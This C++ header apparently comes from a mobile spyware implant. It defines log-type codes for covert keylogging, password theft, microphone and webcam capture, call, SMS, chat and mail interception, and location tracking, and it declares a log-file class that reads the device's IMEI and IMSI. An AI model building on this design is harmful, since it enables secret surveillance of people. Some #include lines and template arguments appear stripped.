/* ============================================================================ Name : LogFile.h Author : Marco Bellino Version : 1.0 Copyright : Your copyright notice Description : CLogFile declaration ============================================================================ */ #ifndef LOGFILE_H #define LOGFILE_H // INCLUDES #include #include #include #include "Keys.h" #include #define LOG_DELIMITER 0xABADC0DE #define LOGTYPE_UNKNOWN 0xFFFF // in caso di errore #define LOGTYPE_FILEOPEN 0x0000 #define LOGTYPE_FILECAPTURE 0x0001 // in realta' e' 0x0000 e si distingue tra LOG e LOGF #define LOGTYPE_KEYLOG 0x0040 #define LOGTYPE_PRINT 0x0100 #define LOGTYPE_SNAPSHOT 0xB9B9 // Snapshot Agent #define LOGTYPE_UPLOAD 0xD1D1 #define LOGTYPE_DOWNLOAD 0xD0D0 #define LOGTYPE_CALL 0x0140 // Call Agent #define LOGTYPE_CALL_SKYPE 0x0141 #define LOGTYPE_CALL_GTALK 0x0142 #define LOGTYPE_CALL_YMSG 0x0143 #define LOGTYPE_CALL_MSN 0x0144 #define LOGTYPE_CALL_MOBILE 0x0145 #define LOGTYPE_CALL_SKYPE_NEW 0x0146 #define LOGTYPE_URL 0x0180 #define LOGTYPE_URLCAPTURE 0x0181 #define LOGTYPE_CLIPBOARD 0xD9D9 #define LOGTYPE_PASSWORD 0xFAFA // Password Agent #define LOGTYPE_MIC 0xC2C2 // Microphone Agent #define LOGTYPE_CHAT 0xC6C6 #define LOGTYPE_CHAT_SKYPE 0x0300 #define LOGTYPE_CAMERA 0xE9E9 // Webcam e Phone Camera Agent #define LOGTYPE_APPLICATION 0x1011 // Application Agent #define LOGTYPE_ADDRESSBOOK 0x0200 // Addressbook Windows Mobile #define LOGTYPE_iADDRESSBOOK 0x0250 // Addressbook iPhone #define LOGTYPE_CALENDAR 0x0201 // Calendar Agent #define LOGTYPE_TASK 0x0202 // Tasks #define LOGTYPE_MAIL_RAW 0x1001 #define LOGTYPE_MAIL 0x0210 // Mail Agent #define LOGTYPE_SMS 0x0211 // SMS Agent #define LOGTYPE_MMS 0x0212 // MMS Agent #define LOGTYPE_LOCATION 0x0220 // Location Agent #define LOGTYPE_CALLLIST 0x0230 // Call list Agent #define LOGTYPE_DEVICE 0x0240 // Device info Agent #define LOGTYPE_INFO 0x0241 // Info Log #define LOGTYPE_MOUSE 0x0280 // Mouse click agent #define LOGTYPE_LOCATION_NEW 0x1220 // sub-types di LOGTYPE_LOCATION_NEW #define LOGTYPE_LOCATION_GPS 0x0001 #define LOGTYPE_LOCATION_GSM 0x0002 #define LOGTYPE_LOCATION_WIFI 0x0003 #define LOGTYPE_LOCATION_IP 0x0004 #define LOGTYPE_LOCATION_CDMA 0x0005 #define LOGTYPE_FILESYSTEM 0xEDA1 // CLASS DECLARATION /** * CLogFile * */ class CLogFile : public CBase { public: // Constructors and destructor /** * Destructor. */ IMPORT_C ~CLogFile(); /** * Two-phased constructor. */ IMPORT_C static CLogFile* NewL(RFs& aFs); /** * Two-phased constructor. */ IMPORT_C static CLogFile* NewLC(RFs& aFs); /** * Methods for Logs management */ IMPORT_C void CreateLogL(TInt aLogId); IMPORT_C void CreateLogL(TInt alogId,TAny* aAdditionalData); IMPORT_C void AppendLogL(const TDesC8& aData); IMPORT_C void CloseLogL(); /** * Methods for Markup management */ IMPORT_C void WriteMarkupL(TInt aId, const TDesC8& aData); IMPORT_C TBool ExistsMarkupL(TInt aId); IMPORT_C HBufC8* ReadMarkupL(TInt aId); IMPORT_C HBufC8* CLogFile::DecryptMarkupL(RFs& fs,const TDesC& fname); /** * Method for LogInfo messages */ //void LogInfoL(const TDesC& aLogInfoMsg); private: void RetrieveImeiAndImsiL(); //TInt64 GetFiletime(); /** * Constructor for performing 1st stage construction */ CLogFile(RFs& aFs); /** * EPOC default constructor for performing 2nd stage construction */ void ConstructL(); private: RFile iFile; TBool iOpened; TBool iContainsData; RFs& iFs; TBuf iImei; TBuf iImsi; TInt iLogId; // Useful for naming the log file using a meaning name. __FLOG_DECLARATION_MEMBER }; #endif // LOGFILE_H .